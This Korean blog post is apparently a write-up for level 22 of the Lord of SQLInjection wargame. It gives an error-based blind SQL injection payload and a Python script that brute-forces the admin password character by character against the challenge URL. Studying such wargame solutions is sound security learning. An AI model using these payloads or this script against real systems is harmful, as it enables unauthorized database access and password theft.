간만에 LOS를 풀게되었다.
우선 소스를 보면 IF, CASE WHEN등이 막혀있고
select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'
의 쿼리문에 pw가 get방식으로 들어간다.
그리고 결국 암호문을 알아내어서 pw를 입력해야 클리어 하는 구조.
우선 %27을 넣으니 아무화면도 안뜬다.
보니 여기는 에러가 나면 아무 화면도 안뜨는 것으로 판단할 수 있다.
보통 참일 때는 그냥 화면이 뜬다.
우선
pw문에
pw='or (id='admin' and (select length(pw)=8 union select 1))#를 넣어서 길이를 알아내고
import urllib.request
import re
if __name__ == "__main__":
code = [num for num in range(33,127)]
head = {'Cookie':'__cfduid=d62a3d60e5d1fcac55aa9500fa25c73de1516581774; PHPSESSID=vbafd946rt7cbv1i37v9tfon03','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
for i in range(1,9):
for j in code:
req = urllib.request.Request("http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20or%20(id=%27admin%27%20and%20(select%20substr(pw,"+str(i)+",1)=%27"+str(chr(j))+"%27%20union%20select%201))%23",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("query",data)
if find:
print(i,"->",chr(j))
이 파이썬 3으로 짠 소스로 blind sqlinjection으로 알아내면 된다.
소스를 짜는 것은 blind sqlinjection은 한번 짜놓으면 조금씩 수정해 놓을 수 있어서 좋다.
22번도 클리어!!!
'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글
LOS ALL CLEAR (0) | 2018.01.23 |
---|---|
LOS 23번 (0) | 2018.01.23 |
LOS 20번 (0) | 2017.08.28 |
LOS 18번 (0) | 2017.08.27 |
LOS 17번 (0) | 2017.08.27 |